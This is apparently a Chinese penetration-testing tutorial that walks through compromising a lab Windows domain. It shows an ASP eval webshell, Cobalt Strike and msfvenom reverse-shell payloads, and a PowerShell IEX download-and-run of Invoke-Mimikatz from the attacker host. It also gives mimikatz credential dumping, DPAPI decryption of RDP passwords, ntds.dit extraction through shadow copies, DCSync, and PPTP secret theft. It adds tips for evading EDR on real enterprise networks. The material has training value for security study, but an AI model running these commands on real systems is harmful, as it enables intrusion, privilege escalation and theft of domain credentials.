目录
- [1. 内网基础知识](#1. 内网基础知识)
-
- [1.1 局域网](#1.1 局域网)
-
- [1.1.1 局域网简介](#1.1.1 局域网简介)
- [1.1.2 局域网的网络结构](#1.1.2 局域网的网络结构)
- [1.2 工作组](#1.2 工作组)
- [1.3 域](#1.3 域)
- [1.4 内网渗透](#1.4 内网渗透)
- [2. 环境说明](#2. 环境说明)
-
- [2.1 DC](#2.1 DC)
- [2.2 WebServer](#2.2 WebServer)
- [2.3 Marry](#2.3 Marry)
- [2.4 Jack](#2.4 Jack)
- [3. Cobalt Strike工具:用户凭据(密码)收集](#3. Cobalt Strike工具:用户凭据(密码)收集)
- [4. Metasploit信息收集](#4. Metasploit信息收集)
- [5. 内网存活探测](#5. 内网存活探测)
-
- [5.1 Netbios协议探测](#5.1 Netbios协议探测)
- [5.2 Nbtscan](#5.2 Nbtscan)
- [5.3 ICMP协议探测](#5.3 ICMP协议探测)
- [5.4 UDP协议探测](#5.4 UDP协议探测)
- [5.5 Unicornscan扫描](#5.5 Unicornscan扫描)
- [5.6 ARP协议探测](#5.6 ARP协议探测)
- [5.7 SMB协议探测](#5.7 SMB协议探测)
- [6. Windows Hash](#6. Windows Hash)
-
- [6.1 基本概念](#6.1 基本概念)
- [6.2 Hash获取](#6.2 Hash获取)
-
- [6.2.1 Powershell脚本](#6.2.1 Powershell脚本)
- [6.2.2 Meterpreter](#6.2.2 Meterpreter)
- [6.2.3 Mimikatz](#6.2.3 Mimikatz)
- [6.2.4 注册表导出hash](#6.2.4 注册表导出hash)
- [7. 获取本地系统的RDP连接记录和密码](#7. 获取本地系统的RDP连接记录和密码)
-
- [7.1 获取RDP连接( remote desktop )](#7.1 获取RDP连接( remote desktop ))
- [7.2 本地RDP连接密码解密](#7.2 本地RDP连接密码解密)
- [7.3 mimikatz解密密码文件](#7.3 mimikatz解密密码文件)
- [8. 域内用户凭据密码获取](#8. 域内用户凭据密码获取)
-
- [8.1 Ntdsutil](#8.1 Ntdsutil)
- [8.2 VssAdmin](#8.2 VssAdmin)
- [8.3 Ninjacopy](#8.3 Ninjacopy)
- [9. 解密ntds.dit](#9. 解密ntds.dit)
-
- [9.1 Secretsdump](#9.1 Secretsdump)
- [9.2 NtdsAudit](#9.2 NtdsAudit)
- [9.3 NtdsAudit](#9.3 NtdsAudit)
- [10. PPTP口令获取](#10. PPTP口令获取)
1. 内网基础知识
内网即局域网,由组织或公司的计算机组成,可通过私有协议通信,实现数据安全便捷传输。
1.1 局域网
1.1.1 局域网简介
局域网(LAN)是局部范围内的网络,由计算机、打印机、服务器等设备通过网络互联,实现资源共享与信息交换。拓扑结构可采用星型、环型等,支持以太网等技术。

常见应用包括文件共享、联机游戏、视频会议等,同时支持电子邮件、FTP等Internet应用。
1.1.2 局域网的网络结构

核心组成包括:
- 客户端:用户使用的计算机,用于获取网络资源和服务;
- 服务器:提供文件、打印、数据库等网络服务;
- 网络媒介:连接网络设备的物理载体(如电缆、无线电波);
- 网络设备:连接各类设备(如交换机、路由器);
- 网络协议:设备通信标准(如TCP/IP、IPX/SPX协议)。
(3)局域网的特点
网络规模小(范围数百米内)、传输速度快、拓扑结构灵活、维护成本低、安全性高。
1.2 工作组
工作组(Work Group)是一种最常见、最简单的网络资源管理模式,核心是将网络中的电脑、设备按功能分类分组,便于统一管理(例如大学高校、网吧等场景常用)。其核心特点如下:
- ① 默认情况下,所有计算机均处于名为"WORKGROUP"的工作组中。
- ② 适合网络计算机数量少、管理要求不严格的场景,中小公司多采用此模式进行资源权限分配和目录共享。
- ③ 建立步骤简单、易上手,无需复杂配置。
- ④ 相同组或不同组的用户,均可通过对方主机的用户名和密码,查看其共享文件夹(默认共享Users目录)。
- ⑤ 工作组无真正的集中管理功能,组内所有计算机地位对等,不存在服务器与客户机的区分。
1.3 域
工作组适用于小规模、低安全需求的网络;当网络规模庞大(数千/数万台主机)时,需采用域环境管理。
- 单域:网络中仅存在一个域;
- 父域子域:一个域划分出的主域(父域)与分支域(子域);
- 域树:多个域通过信任关系组成的集合;
- 域林:由一个或多个无连续名字空间的域树组成;
- 域控(DC):域模式下的验证服务器,存储域内账户、密码等信息,负责鉴别计算机和用户合法性,保护网络资源。
1.4 内网渗透
内网渗透是获取目标服务器控制权后,通过内网信息收集、代理、权限提升、横向移动等技术,获取内网其他主机(如域控、运维主机)权限的过程。
域渗透思路:
- 通过域成员主机,定位域控制器IP及域管理员账号;
- 以域成员主机为跳板,渗透其他域成员;
- 利用域管理员权限特性,定位其登录过的主机,dump密码并拿下域控制器;
- 渗透整个内网。
注意 :
域是Windows系统概念,Linux无域控但可作为域成员,域内信息收集命令多针对Windows系统。但Linux主机可以被添加为域成员。
2. 环境说明
2.1 DC
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.21 |

2.2 WebServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.31 |

2.3 Marry
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 7 |
| IP地址 | 102.168.179.25 |

2.4 Jack
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 8.1 |
| IP地址 | 102.168.179.29 |

3. Cobalt Strike工具:用户凭据(密码)收集
Step1 :在WebServer的IIS中添加1.asp文件,用于后续的WebShell。
新建ASP脚本:
bash
# 文件名为1.asp
<% eval request("test") %>
备注:此处默认站点中存在漏洞被攻击者利用并上传了WebShell。
Step2:启动CS的Server端和Client端
Server端(Kali机中运行):
bash
$ cd /home/kali/tools/CS4.8 #切换到我们上传的CS4.8⽬录中
$ cd server #切换到server⽬录
#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali:
[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050 # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d
Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到WebServer(网站服务器)运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至WebServer。

在中运行了cs_1.exe后,在CS中成功上线了。

Step3:网络探针(net view)
作用:探测内网环境下存活的主机。

得到了同一网段中的其它主机IP。

Step4:端口扫描
作用:扫描内网环境下对外开放的端口。

等待CS将各IP的端口扫描出来。

在"视图"中打开"目标列表",可以查看结果。

Step5:密码凭证获取
开始获取Hash,但遇到了权限不够的情况下,因此需要提权处理。

提权处理,让抓取明文密码更加方便。



提权成功后的Hash获取。

抓取明文密码,并显示密码。


得到用户和密码喜喜后,可以尝试内网横向移动的操作了。

说明:Cobalt Strike工具的功能极其强大,除信息收集外,还有提权、横向移动、代理转发等功能。
4. Metasploit信息收集
Step1:进入Kali系统,并执行如下命令生成木马。
bash
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=4444 -f exe >su.exe

Step2:用Webshell将木马上传都WebServer(蚁剑为例)

Step3:MSF进入监听模式
bash
#输入命令设置本地监听,具体命令如下:启动msf:
$ msfconsole
#选择工具:
msf6 > use exploit/multi/handler
#设置攻击语句:
msf6 > set payload windows/meterpreter/reverse_tcp
#设置监听IP(注意IP地址是本地kali机器的IP地址):
msf6 > set lhost 192.168.179.128
#设置监听端口:
msf6 > set lport 4444
#开始监听:
msf6 > exploit #或者run
Step4:在蚁剑中,进入虚拟终端调用上传的MSF木马

MSF上线之后,就可以调用MSF强大的功能模块去做渗透了。

Step5:权限提升处理
bash
# meterpreter 后台挂起
meterpreter > background
# 利用Juicy Potato漏洞实现提权。当然也可以用其它可利用的漏洞进行提权
msf6 > use exploit/windows/local/ms16_075_reflection_juicy
msf6 > set session 1
msf6 > run
meterpreter > getuid

从图中可以看到,权限已提升到了SYSTEM了。
Step6:收集系统信息
bash
meterpreter > run scraper
meterpreter > run winenum

Step7:打开新的 Kali 终端
bash
$ cd /home/kali/.msf4/logs/scripts/winenum && ls -R

至此,已经获取到了目标主机的所有输出信息。
5. 内网存活探测
5.1 Netbios协议探测
NetBIOS 是 1983 年为 IBM 开发的应用程序接口(API),用于局域网内计算机程序间的通信与数据共享,可通过多种方式将自身标识名称解析为 IP 地址,是局域网互访的基础。
bash
$ nmap -sU -T4 --script nbstat.nse -p137 192.168.179.2/24
MSF扫描(对应的模块)
bash
# 需要进入MSF后的操作
msf6> use auxiliary/scanner/netbios/nbname
5.2 Nbtscan
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBI0S名称服务器。
bash
$ nbtscan -r 10.0.0.0/24
5.3 ICMP协议探测
ICMP 全称 Internet 控制消息协议,属于 TCP/IP 协议族子协议,用于IP 主机、路由器之间传递网络控制消息。日常常用的 Ping 网络连通性检测、Tracert 路由追踪 命令,均基于 ICMP 协议实现。
bash
# CMD下扫描内网C端存活主机
C:\> for /l %i in (1,1,255) do @ ping 192.168.179.%i -w 1 -n 1|find /i "ttl="
# 输出内容导出:
C:\> @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.179.%i& if errorlevel 1 (echo 10.0.0.%i>>c:\a.txt)else (echo 10.0.0.%i
5.4 UDP协议探测
UDP(User Datagram Protocol,用户数据报协议),是 OSI 模型无连接的传输层协议,提供面向事务的简单不可靠数据传输服务。
- UDP 优点
- 传输速度快:无需 TCP 三次握手、确认、窗口、重传、拥塞控制等机制,属于无状态协议,转发效率高。
- 相对更安全:攻击面少于 TCP。
资源占用小:协议结构简单,对系统资源消耗低。
- UDP 缺点
无连接、传输不可靠不稳定,易丢包,不保证数据包有序、不重复、不丢失。
bash
C:\> nmap -sU -T4 -max-retries 1 10.0.0.0 -p 500
MSF扫描
bash
msf6 > use auxiliary/scanner/discovery/udp probe
msf6 > use auxiliary/scanner/discovery/udp sweep
5.5 Unicornscan扫描
linux下推荐使用
bash
$ unicornscan -mU 192.168.179.2/24
5.6 ARP协议探测
ARP(地址解析协议)作用是将 IP 地址解析为 MAC 物理地址。局域网内主机通信时,仅知道对方 IP 地址无法直接在物理网络传输,IP 数据包必须封装成数据帧,而封装需要依赖目标 MAC 地址。ARP 就是专门实现IP 地址与 MAC 地址映射解析的协议。
bash
$ nmap -sn -PR 10.0.0.0/24
MSF扫描
bash
msf6 > use auxiliary/scanner/discovery/arp sweep
5.7 SMB协议探测
SMB(Server Message Block,服务器消息块协议),主要用于文件共享、打印机共享、串口共享等局域网资源交互。
- 协议作用
- SMB 采用客户端 / 服务器架构,Windows 系统默认同时充当 SMB 客户端与服务端。
- Windows 网络邻居、域内主机互相访问共享资源,均依赖 SMB 协议实现。
- SMB 服务端向客户端提供网络共享资源,双方可基于 TCP/IP、IPX、NetBEUI 协议建立通信。
- 协议端口
SMB 基于 TCP+NetBIOS 运行:- 139 端口:基于 NetBIOS 的 SMB 通信
- 445 端口:直接基于 TCP 的 SMB 通信
smbclient扫描
bash
$ smbclient -L //192.168.179.131 -N
MSF扫描
bash
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > exploit
# 或
msf6 > use auxiliary/scanner/portscan/syn
msf6 > exploit
6. Windows Hash
6.1 基本概念
哈希(Hash)是通过加密函数对任意长度字符串进行运算,输出固定长度的特征字符串。Windows 系统对用户密码做哈希加密,主要有 LM 哈希、NTLM 哈希,后续升级为 NTLMv2、Kerberos 认证体系。
Windows Hash 组成:
系统默认密码 Hash 由两部分构成:LM-Hash + NTLM-Hash
标准格式:
bash
用户名:RID:LM-HASH值:NT-HASH值
Hash 分类:
- LM 哈希
- 密码最大支持 14 位
- 安全性弱,现已基本淘汰
- NTLM 哈希
- 密码超过 14 位时自动使用 NTLM 哈希
- 域环境、本地认证主要依赖 NTLM
6.2 Hash获取
6.2.1 Powershell脚本
Step1:kali开启http服务
bash
$ python3 -m http.server
Powershell远程加载mimikatz脚本(下载地址)
bash
C:\> powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
#使用powershell 去远程请求去下载Invoke-Mimikatz.ps1这个脚本,通过IEX向系统申请内存然后运行该脚本。
C:\> powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8000/Get-PassHashes.ps1'); Get-PassHashes
6.2.2 Meterpreter
Hashdump:
bash
# system权限的meterpreter
msf6 > use post/windows/gather/hashdump
msf6 > set session 1
# 结果保存在tmp目录下
msf6 > exploit
smart_hashdump:
bash
msf6 > use post/windows/gather/smart_hashdump
$ set session 1
msf6 > exploit
hashdump:
bash
# 拿到目标主机的shell之后,在meterpreter中使用
meterpreter > hashdump
6.2.3 Mimikatz
下载地址:Mimikatz For Win10
bash
C:\> mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
C:\> mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
(进入mimikatz后)获取hash值:
bash
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
(进入mimikatz后)获取明文密码:
bash
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

6.2.4 注册表导出hash
导出注册表值的命令
bash
C:\> reg save HKLM\SYSTEM system.hiv
C:\> reg save HKLM\SAM sam.hiv
C:\> reg save HKLM\SECURITY security.hiv
用 Kali 自带 secretsdump 解密
bash
$ impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
四种方法综合对比总结:
| 方法 | 有无文件落地 | 是否免杀隐蔽 | 能否拿明文 | 适用场景 |
|---|---|---|---|---|
| Powershell 内存加载 | 无 | 差(易被 AMSI 拦截) | 能 | 靶场无加固、内网快速批量抓凭证 |
| Meterpreter hashdump | 无 | 一般(MSF 特征明显) | 不能 | MSF 会话下快速拿 Hash |
| 独立 Mimikatz | 有 | 差(原版易被杀软拦截) | 能 | 无杀软靶场、需要明文 + 全维度凭证 |
| 注册表离线导出 | 可控可删除 | 极强(原生无特征) | 不能 | 企业加固环境、有杀软 EDR、实战内网横向 |
实战渗透建议:
- 靶场学习优先使用 Meterpreter hashdump 和 Powershell内存加载;
- 企业真实内网、有杀软 / EDR 加固环境,优先使用注册表导出离线解密方案,隐蔽性最强、无防护拦截;若需要明文凭证,再配合免杀版 Mimikatz 使用。
7. 获取本地系统的RDP连接记录和密码
7.1 获取RDP连接( remote desktop )
- 用途
获取目标主机用户保存过的 RDP 连接信息(IP / 端口 / 用户名 / 密码),解密后可直接用于内网横向移动。 - 原理
Windows 会将用户保存的 RDP 凭据加密存储在:- 凭据管理器
- 用户目录下的 Default.rdp
- 注册表 HKCU\Software\Microsoft\Terminal Server Client\Servers
PowerShell 可直接读取并解密。
脚本下载地址:链接
bash
C:\> powershell --exec bypass .\ListAllUsers.ps1
使用此脚本可以收集当前系统的RDP的连接记录,由此可以判断出当前目标网络的结构。如果能够使用工具读取到凭据信息的话,那么可以直接借此连接RDP,从而获取一些数据和信息。
7.2 本地RDP连接密码解密
- 查看本地连接过的目标机器
bash
C:\> reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal ServerClient\Servers" /s
- 查看本地用户此目录下是否存有RDP密码文件
bash
C:\> dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

当本地用户的管理员方便自己管理,在使用远程连接的时候勾选了保存密码的选项时,所连接过的计算机的记录会在本地保存。此时可用命令去读取。
- 查看保存在本地的远程主机信息
bash
C:\> cmdkey /list
7.3 mimikatz解密密码文件
Step1:管理员身份启动mimikatz
bash
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99C83662

Step2:根据guidMasterKey找到对应的Masterkey
bash
mimikatz # sekurlsa::dpapi

Step3:通过Masterkey解密pbData数据,拿到明文RDP连接密码:
bash
mimikatz # dpapi::cred/in:C:\Users\10758\AppData\Local\Microsoft\Credentials\E3A95C942239A23E8F24ACFB99 C83662/masterkey:bf8240e1231b659aed422b32d53b4099c45f6bdcf9532af1dd43ac1cdab7d20dc2bfdc 7ba6b717c3b1d50aa848edf5cc59dce9378db9d2362a487681a4157803

8. 域内用户凭据密码获取
-
Volume shadow Copy:
- ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。
- 为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件文件与ntds.dit文件都需要拥有一个system文件
-
AD DS数据存储:
- 由 ntds.dit 文件构成
- 默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
- 只能通过域控制器进程和协议访问
-
作用
- 用于数据备份;
- 支持Windows Server 2003 及以上操作系统;
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,具体时间无法确定;
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup。
由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。
bash
#ntds.dit文件位置:
%SystemRoot%\NTDS\NTDS.dit
#system文件位置:
%SystemRoot%System32\config\SYSTEMsam
#文件位置:
%SystemRoot%System32\config\SAM
8.1 Ntdsutil
Ntdsutil.exe:一个为 Active Directory 提供管理设施的命令行工具,域环境默认安装。
支持系统:Server 2003、Server 2008、Server 2012
bash
C:\> ntdsutil snapshot
activate instance ntds
create
mount [GulD]
unmout [GUlD] //copy 完之后再执行卸载
del [GulD]
quit

- 复制相应的NTDS.dit文件
bash
C:\> copy C:\$SNAP_202408271844_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit
- 查询当前系统的快照
bash
C:\> ntdsutil snapshot "List All" quit quit
C:\> ntdsutil snapshot "List Mounted" quit quit
- 创建快照
bash
C:\> ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
bash
C:\> ntdsutil snapshot "mount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
- 复制ntds.dit文件
bash
C:\> copy C:\$SNAP_202408272046_VOLUMEC$\Windows\NTDS c:\ntds2.dit

- 卸载快照
bash
C:\> ntdsutil snapshot "unmount {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
- 删除快照
bash
C:\> ntdsutil snapshot "delete {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
- Ntdsutil命令的其他的用法:
bash
# 交互式
C:\> ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit
bash
# 非交互式
C:\> Ntdsutil "activate instance ntds" ifm "create full C:\dabai" quit quit
8.2 VssAdmin
这是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。
作用:
- 用于创建或删除卷影副本,列出卷影副本的信息
- 用于显示所有安装的所有卷影副本写入程序和提供程序
- 改变卷影副本存储空间的大小等
bash
#查询当前系统的快照:
C:\> vssadmin list shadows
#2.创建快照:
C:\> vssadmin create shadow /for=c:
#3.获得Shadow Copy Volume Name:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6

- 复制ntds.dit
bash
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy9\windows\NTDS\ntds.ditc:\ntds3.dit
- 删除快照:
bash
C:\> vssadmin delete shadows /for=c:/quiet

8.3 Ninjacopy
在调用windows系统中的一些命令(vssadmin、ntdsutil 等等)去运行Volume shadow Copy(卷影服务)时,由于Windows系统的保护机制,常常会在日志文件中产生7036的记录。那么我们可以通过powershell的脚本的方式去获取域环境中的ntds.dit文件。
脚本下载地址:(链接)
bash
# 1、将脚本导入到目标系统:
# 2、CMD命令行调用powershell脚本:
C:\> Import-Module .\Invoke-NinjaCopy.ps1
# 3、利用脚本获取sam数据库或者是获取ntds.dit文件
C:\> Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
C:\> Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\Users\administrator\Desktop\ntds.dit


9. 解密ntds.dit
在使用工具或者技术获取到了域中的ntds.dit文件之后,接下来就要使用各种方法去解密 ntds.dit文件。将此文件解密之后,即可获得域内用户的账号密码信息。可凭借此信息进行横向移动控制内网域。
9.1 Secretsdump
bash
C:\> secretsdump.exe -samsam.hiv -security security.hiv -system sys.hiv LOCAL
C:\> secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
9.2 NtdsAudit
脚本下载地址:链接
bash
#脚本解密:
C:\> NtdsAudit.exe "ntds.dit" -s "system" -p pwdump.txt --users-csv users.csv



9.3 NtdsAudit
Mimikatz有一个功能(dcsync),它可以利用目录复制服(DirectoryReplicationService,DRS)从 NTDS.DIT文件中提取密码哈希值。通过dcsync直接获取域内所有用户hash
- 运行命令
bash
C:\> mimikatz lsadump::dcsync /domain:god.org /all /csv

- 获取单个用户的详细信息
bash
C:\> mimikatz lsadump::dcsync /domain:god.org /user:krbtgt

- 查看所有用户的所有详细信息
bash
C:\> mimikatz lsadump::lsa /inject

10. PPTP口令获取
PPTP协议(Point-to-Point Tunneling Protocol)是一种用于创建虚拟私人网络(VPN)的协议,它允许远程用户通过公共网络安全地访问私人网络。PPTP点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透需要拿到目标系统管理员权限。

- 获取PPTP配置信息
bash
# 可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
C:\> type %APPDATA%\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbk
- mimikatz获取PPTP密码
bash
C:\> mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

- 命令行下连接VPN
bash
C:\> rasdial "VPN111" admin admin123
- 命令行关闭VPN连接
bash
C:\> rasphone -h "VPN111"